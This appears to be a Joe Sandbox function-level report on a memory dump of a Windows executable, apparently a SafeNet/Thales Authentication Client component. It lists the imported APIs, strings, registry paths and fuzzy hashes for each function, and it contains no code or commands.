wTHelperGetProvCertFromChain, xrefs: 00007FF752D12308
WTHelperGetProvCertFromChain, xrefs: 00007FF752D11AD1
WinVerifyTrust, xrefs: 00007FF752D11A44
*signedBy, xrefs: 00007FF752D11EA2, 00007FF752D1216F
C=GB, xrefs: 00007FF752D11DB4, 00007FF752D11E67, 00007FF752D12081, 00007FF752D12134
CN="Gemalto, xrefs: 00007FF752D11D5B, 00007FF752D11E17, 00007FF752D12028, 00007FF752D120E4
hLibWinTrust, xrefs: 00007FF752D122B0
szDate, xrefs: 00007FF752D11D03, 00007FF752D11FD0
Failed to load verification function, xrefs: 00007FF752D12317
WTHelperGetProvSignerFromChain, xrefs: 00007FF752D11A9F
dwLastError, xrefs: 00007FF752D121D9
SACSRV, xrefs: 00007FF752D12294
lStatus, xrefs: 00007FF752D121C4
winVerifyTrust, xrefs: 00007FF752D122C6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AddressProcTime$File$LibraryProcessSystem$CurrentDirectoryFreeLoadLocalSession
String ID: $%.2d/%.2d/%.4d at %.2d:%2.d:%.2d$*signedBy$*status$C=GB$CN="Gemalto$CN=Gemalto$CN=Microsoft$CN=SentryBay Limited$Certificate Description$Failed to load verification function$LogEvent$OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.2.5.4.15=Private Organization, SERIALNUMBER=2177038, C=US, S=Texas, L=Austin, O="Thales DIS CPL USA, Inc.", OU=Security Team, CN="Thales DIS CPL USA, Inc."$SACEventsMsg$SACSRV$Signature Date$SignedBy$Tool_windows$WTHelperGetProvCertFromChain$WTHelperGetProvSignerFromChain$WTHelperProvDataFromStateData$WinVerifyTrust$dwEventCategory$dwLastError$dwMsgId$etVerifyEmbeddedSignature$hLibWinTrust$lStatus$pwszSourceFile$szCertDesc$szDate$wTHelperGetProvCertFromChain$wTHelperGetProvSignerFromChain$wTHelperProvDataFromStateData$winVerifyTrust
API String ID: 3383097823-1628687972
Opcode ID: e00f7c14864fa0bb5c73da33b60708c12e36a4378b27991268f24d1e7827fdec
Instruction ID: c49b7d275f89a21363350d0ec151ab2e5121b0c642b2d368ebdbf7c62780911d
Opcode Fuzzy Hash: e00f7c14864fa0bb5c73da33b60708c12e36a4378b27991268f24d1e7827fdec
Instruction Fuzzy Hash: 2F524761B0875285FB14FB61AC801F8A3A1BF85B84FD88035D94E06A95EFFEE545C7B0

Function 00007FF752D11000 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 87libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF752D11025
GetModuleHandleA.KERNEL32 ref: 00007FF752D11038
GetProcAddress.KERNEL32 ref: 00007FF752D11068
GetProcAddress.KERNEL32 ref: 00007FF752D1107F
GetProcAddress.KERNEL32 ref: 00007FF752D11096
GetProcAddress.KERNEL32 ref: 00007FF752D110AD
GetProcAddress.KERNEL32 ref: 00007FF752D110C4
GetProcAddress.KERNEL32 ref: 00007FF752D110DB
GetProcAddress.KERNEL32 ref: 00007FF752D110F2
GetProcAddress.KERNEL32 ref: 00007FF752D11109
GetProcAddress.KERNEL32 ref: 00007FF752D11120
GetProcAddress.KERNEL32 ref: 00007FF752D11137
GetCurrentThreadId.KERNEL32 ref: 00007FF752D11171
Sleep.KERNEL32 ref: 00007FF752D11188

Strings

etLogStruct, xrefs: 00007FF752D110F8
etLogEnable, xrefs: 00007FF752D1110F
etLogEnterFunction_PrepareEx, xrefs: 00007FF752D1105E
etLogLevel, xrefs: 00007FF752D11126
etLogNumber, xrefs: 00007FF752D110CA
etLogOutput_Execute, xrefs: 00007FF752D1109C
etLogLeaveFunction_Execute, xrefs: 00007FF752D11085
etLogNumber64, xrefs: 00007FF752D110E1
SACLog.dll, xrefs: 00007FF752D1102B
etLogEnterFunction_Execute, xrefs: 00007FF752D1106E
SACLog, xrefs: 00007FF752D11046
etLogBuffer, xrefs: 00007FF752D110B3

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AddressProc$CurrentThread$HandleModuleSleep
String ID: SACLog$SACLog.dll$etLogBuffer$etLogEnable$etLogEnterFunction_Execute$etLogEnterFunction_PrepareEx$etLogLeaveFunction_Execute$etLogLevel$etLogNumber$etLogNumber64$etLogOutput_Execute$etLogStruct
API String ID: 1472845388-3083178291
Opcode ID: e31921e1464d1fa7d8278c51ae4d861cf079ee953e8f59e068f066425c208f75
Instruction ID: 31b49530ce15cf213cf8dfeb0bbb3a0540fced89a623c0978822802729281885
Opcode Fuzzy Hash: e31921e1464d1fa7d8278c51ae4d861cf079ee953e8f59e068f066425c208f75
Instruction Fuzzy Hash: 7F419320E09B4781EB10AB20BD84138E3A5BF55780FE84236C84E526A5DFFEE489C370

Function 00007FF752D18904 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF752D1897D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF752D18995
RtlVirtualUnwind.KERNEL32 ref: 00007FF752D189D0
IsDebuggerPresent.KERNEL32 ref: 00007FF752D18A09
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF752D18A13
UnhandledExceptionFilter.KERNEL32 ref: 00007FF752D18A1E

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8f81ef5b95c0aef8bc857c40ef85300e5a20296bb96a65bbfcc654eeed7dc8be
Instruction ID: 8e0463d10526e915837b1b1b3dbd51c592ed373e0f78d16c964c42fc5842095b
Opcode Fuzzy Hash: 8f81ef5b95c0aef8bc857c40ef85300e5a20296bb96a65bbfcc654eeed7dc8be
Instruction Fuzzy Hash: B3316136B08B8186EB60DF35EC402AEB3A4FB85794F944135EA8D43B99DF79C145CB60

Function 00007FF752D19AE0 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF752D19B2C
FindFirstFileExW.KERNEL32 ref: 00007FF752D19C36

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: df6efaeddf0e48db297d64f0c349a0884ff7cf8aa40c648e3404ef4be5db85f7
Instruction ID: 15bd7c2c9a7f49021a752b2565592124fdedef47f0962d5094eb05771a3fe882
Opcode Fuzzy Hash: df6efaeddf0e48db297d64f0c349a0884ff7cf8aa40c648e3404ef4be5db85f7
Instruction Fuzzy Hash: 43B19462B1975641EA60AB35DD801F9E391EB44BD4F8C4131E95E47EC9DEBCE441C3B0

Function 00007FF752D1F908 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF752D1FB57
RaiseException.KERNEL32 ref: 00007FF752D1FB68

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 7228ce4ce12006dc947cbebbbd2aaf83b3b1ee7dc0ca82f5091a228243248154
Instruction ID: 8ed3644b9e2b73a6fc1e8a167ad33446e722177bb6a0fae74ee02e41354d1cb9
Opcode Fuzzy Hash: 7228ce4ce12006dc947cbebbbd2aaf83b3b1ee7dc0ca82f5091a228243248154
Instruction Fuzzy Hash: 86B14C73604B898FEB15DF29C84636CB7A0F744B48F588931DA5D83BA8CB79D451C760

Function 00007FF752D1C070 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF752D1C074

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 18857e8c64a8535a8458861e2d065bc2adcbef9dd7f8d1379e6894ca19faf184
Instruction ID: b7eb3e40ef1baca4059535e3e745ad1f33cbd0747faafdecfa9cffe51cc44f77
Opcode Fuzzy Hash: 18857e8c64a8535a8458861e2d065bc2adcbef9dd7f8d1379e6894ca19faf184
Instruction Fuzzy Hash: 6FB01220F07B03C2EA093B116C4221862A4BF9C751FDC8038C50C41320DFBD20B5E730

Function 00007FF752D18178 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 80eebc2eb60c5440219c37660f99ae952dfccc309d9b8a0445fb2a4156dc9213
Instruction ID: 7ff8d49de1add018d6510e45a16b9ba5bfec430bf1c439a6617645e240bc2a18
Opcode Fuzzy Hash: 80eebc2eb60c5440219c37660f99ae952dfccc309d9b8a0445fb2a4156dc9213
Instruction Fuzzy Hash: 2341E022714B5982EF08DF7AD914169B3A1BB48FD0B9E9032EE4D87B58DE7DC446C360

Function 00007FF752D1F750 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b3de7b642a2e0e5ab20a991fbeef91c79f15637ba48c6bfba8e61b05c10c96
Instruction ID: 8aa038de35de3c7990b1dc034ded614d5117c5148c6fa2bbc5e8415335be1818
Opcode Fuzzy Hash: c0b3de7b642a2e0e5ab20a991fbeef91c79f15637ba48c6bfba8e61b05c10c96
Instruction Fuzzy Hash: ABF06272B187958ADBA49F2CAC42629B7E0EB48380F948039D68D83B08D67D9460CF24

Function 00007FF752D12648 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 190librarystringCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32 ref: 00007FF752D126D7
PathFindExtensionA.SHLWAPI ref: 00007FF752D126E4
lstrcmpiA.KERNEL32 ref: 00007FF752D126F4
StrCatBuffA.SHLWAPI ref: 00007FF752D1270F
MultiByteToWideChar.KERNEL32 ref: 00007FF752D1273B
GetSystemDirectoryW.KERNEL32 ref: 00007FF752D12749
PathAppendW.SHLWAPI ref: 00007FF752D12761
PathFileExistsW.SHLWAPI ref: 00007FF752D1276C
LoadLibraryW.KERNEL32 ref: 00007FF752D127A3
GetModuleFileNameW.KERNEL32 ref: 00007FF752D127D9
PathRemoveFileSpecW.SHLWAPI ref: 00007FF752D127E4
PathAppendW.SHLWAPI ref: 00007FF752D127F6
PathFileExistsW.SHLWAPI ref: 00007FF752D12801
LoadLibraryW.KERNEL32 ref: 00007FF752D12838
PathAppendW.SHLWAPI ref: 00007FF752D1287D
PathFileExistsW.SHLWAPI ref: 00007FF752D12888
LoadLibraryW.KERNEL32 ref: 00007FF752D128BF

Part of subcall function 00007FF752D1260C: GetProcAddress.KERNEL32 ref: 00007FF752D1261C

GetLastError.KERNEL32 ref: 00007FF752D128E2

Strings

., xrefs: 00007FF752D1269C
libFullName, xrefs: 00007FF752D128F0
.dll, xrefs: 00007FF752D126ED, 00007FF752D12701
LoadLibraryW error, xrefs: 00007FF752D12910

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Path$File$AppendExistsLibraryLoad$AddressBuffByteCharDirectoryErrorExtensionFindLastModuleMultiNameProcRemoveSpecSystemWidelstrcmpilstrcpyn
String ID: .$.dll$LoadLibraryW error$libFullName
API String ID: 4118506122-1858157028
Opcode ID: ec010e4102469dcaeaa101d418f3901254a1db6ed1e4da21206ed0a258b059db
Instruction ID: dd2f5a6b7abf41d5e0bccb9cb7abea2e8c89e9ec39a054ce14361a0dbd097b56
Opcode Fuzzy Hash: ec010e4102469dcaeaa101d418f3901254a1db6ed1e4da21206ed0a258b059db
Instruction Fuzzy Hash: 36817221B08B9791EB50FB31ED442BAA361FF80794F884031DA4D47A99EE7ED909C770

Function 00007FF752D12424 Relevance: 28.1, APIs: 5, Strings: 11, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF752D1249B
RegQueryValueExW.ADVAPI32 ref: 00007FF752D124F0
PathAppendW.SHLWAPI ref: 00007FF752D12532
PathAppendW.SHLWAPI ref: 00007FF752D12553
RegCloseKey.ADVAPI32 ref: 00007FF752D12563

Strings

SOFTWARE\SAFENET\AUTHENTICATION, xrefs: 00007FF752D12487
authneticatioinPath, xrefs: 00007FF752D12570
getSacInstallPath, xrefs: 00007FF752D1243C
Path, xrefs: 00007FF752D124E9
generalSACPath, xrefs: 00007FF752D12582
x64, xrefs: 00007FF752D12549
Tool_windows, xrefs: 00007FF752D12446
SAC, xrefs: 00007FF752D12528
platformSACPath, xrefs: 00007FF752D12594
RegQueryValueExW(Path) error, xrefs: 00007FF752D1250E
RegOpenKeyEx(HKEY_LOCAL_MACHINE\SOFTWARE\SAFENET\AUTHENTICATION) error, xrefs: 00007FF752D124B9

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AppendPath$CloseOpenQueryValue
String ID: Path$RegOpenKeyEx(HKEY_LOCAL_MACHINE\SOFTWARE\SAFENET\AUTHENTICATION) error$RegQueryValueExW(Path) error$SAC$SOFTWARE\SAFENET\AUTHENTICATION$Tool_windows$authneticatioinPath$generalSACPath$getSacInstallPath$platformSACPath$x64
API String ID: 3824504360-1140332700
Opcode ID: b6fdec52f01d1bb1e23d54208692b79eef4be6aadd7892ac26bd90d2947bafbe
Instruction ID: 3b407b99e8e26b831f5eca8129ec05f755185fcc16d77b1c059e992fd4248208
Opcode Fuzzy Hash: b6fdec52f01d1bb1e23d54208692b79eef4be6aadd7892ac26bd90d2947bafbe
Instruction Fuzzy Hash: C4415D64B1CB4281FB00BB26EC942B9A751AF85BC0FD85131E94E47B5ADFADE105C770

Function 00007FF752D113F4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 88libraryloaderCOMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32 ref: 00007FF752D1142E
GetProcAddress.KERNEL32 ref: 00007FF752D114A9
GetProcAddress.KERNEL32 ref: 00007FF752D114BC
etPropWriteInt.ETOKEN ref: 00007FF752D1150E
ExitProcess.KERNEL32 ref: 00007FF752D1151F
ExitProcess.KERNEL32 ref: 00007FF752D1152B
ExitProcess.KERNEL32 ref: 00007FF752D11537

Strings

eTCoreInst, xrefs: 00007FF752D11484
CoreRemoveReaders, xrefs: 00007FF752D114AF
CoreInstallReaders, xrefs: 00007FF752D1149F
SoftwareSlots, xrefs: 00007FF752D11507
MAGIC, xrefs: 00007FF752D11445

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ExitProcess$AddressProc$ArgvCommandLinePropWrite
String ID: CoreInstallReaders$CoreRemoveReaders$MAGIC$SoftwareSlots$eTCoreInst
API String ID: 3880261357-3162536127
Opcode ID: a74338d4535f92b792498d69cd7dfe758f0d85a20d9546f9bc9cb5063825d6e7
Instruction ID: 6eba2ac813e5da590e8cef415b700199f8502d27b0867fbd30b684a18eafb7e1
Opcode Fuzzy Hash: a74338d4535f92b792498d69cd7dfe758f0d85a20d9546f9bc9cb5063825d6e7
Instruction Fuzzy Hash: 46313922F19B0282FB20BB35ED54578A2A1BF84B90B894534D90E87B55DFBDE809C370

Function 00007FF752D1BB80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF752D1BD64,?,?,00000000,00007FF752D1990B,?,?,?,00007FF752D173F1), ref: 00007FF752D1BCFC
GetProcAddress.KERNEL32(?,?,?,00007FF752D1BD64,?,?,00000000,00007FF752D1990B,?,?,?,00007FF752D173F1), ref: 00007FF752D1BD08

Strings

ext-ms-, xrefs: 00007FF752D1BC59
api-ms-, xrefs: 00007FF752D1BC46

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 56895c025ccec27426eceb3fc4d7faf0c8daf2e1b17759f419e9b6412f2c7b22
Instruction ID: e64650697abb0dc049ccde0b559c9e225c8fc0e9e8d0b92a8317e905d5697d83
Opcode Fuzzy Hash: 56895c025ccec27426eceb3fc4d7faf0c8daf2e1b17759f419e9b6412f2c7b22
Instruction Fuzzy Hash: E541E622B19B1281EA15EB36AC105B5A292BF85B90F9D4135DD0E47B84EEBCE446C3B0

Function 00007FF752D11688 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 23stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF752D1169C
PathStripPathA.SHLWAPI ref: 00007FF752D116A5
PathFindExtensionA.SHLWAPI ref: 00007FF752D116AE
lstrcmpiA.KERNEL32 ref: 00007FF752D116C3
PathRemoveExtensionA.SHLWAPI ref: 00007FF752D116D0

Strings

.exe, xrefs: 00007FF752D116B9
logonui, xrefs: 00007FF752D11688

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Path$Extension$FileFindModuleNameRemoveStriplstrcmpi
String ID: .exe$logonui
API String ID: 4196267173-4237098155
Opcode ID: 629b72c0ce298ea06e4756fdd405dfc7df23ee51033e3bc8700492dfd4fc803e
Instruction ID: 1a8ef438bda736a9136438c337db486e12d353d81838fdddd96917339adabac2
Opcode Fuzzy Hash: 629b72c0ce298ea06e4756fdd405dfc7df23ee51033e3bc8700492dfd4fc803e
Instruction Fuzzy Hash: 6EE0E560F0970782EF18BB72BD5813892916F49F81B8C9034DC4F46752DEBEE488C234

Function 00007FF752D152A8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF752D15304

Part of subcall function 00007FF752D161E8: __GetUnwindTryBlock.LIBCMT ref: 00007FF752D1622B
Part of subcall function 00007FF752D161E8: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF752D16250

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF752D153DC
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF752D1572E

Part of subcall function 00007FF752D143BC: LdrLoadDll.NTDLL ref: 00007FF752D143F6

Strings

csm, xrefs: 00007FF752D15385
csm, xrefs: 00007FF752D153FF
csm, xrefs: 00007FF752D1531E

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: BlockUnwind$FrameHandlerHandler3::Is_bad_exception_allowedLoadSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2402549934-393685449
Opcode ID: 7f14de3839a8a1a98ca99c5a576c932e7b38c7735e363dcf4383d1c201a508e4
Instruction ID: 29ae03b46dc444449480f02cb1ebe439d74a40380d148b143737075b4437e442
Opcode Fuzzy Hash: 7f14de3839a8a1a98ca99c5a576c932e7b38c7735e363dcf4383d1c201a508e4
Instruction Fuzzy Hash: C8D16C72B087818AEB20AB75D8412ADB7A0FB45798F880135EE8D57F55CF7CE491C7A0

Function 00007FF752D1926C Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF752D1927B
FlsGetValue.KERNEL32 ref: 00007FF752D19290
FlsSetValue.KERNEL32 ref: 00007FF752D192B1
FlsSetValue.KERNEL32 ref: 00007FF752D192DE
FlsSetValue.KERNEL32 ref: 00007FF752D192EF
FlsSetValue.KERNEL32 ref: 00007FF752D19300
SetLastError.KERNEL32 ref: 00007FF752D1931B

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 36317feccfc3b76afa357e3683969ab6f654b3dd8de5ebe962b9c917ad44eadd
Instruction ID: ce269cfa4bfd061279601f5e3268e56d4568209ab4f24b746423d4ea36631b61
Opcode Fuzzy Hash: 36317feccfc3b76afa357e3683969ab6f654b3dd8de5ebe962b9c917ad44eadd
Instruction Fuzzy Hash: 3D213821B0C74242FA58B771AE911B9E2925F847B0FDC4734D82E47ED6DEACA841C2B0

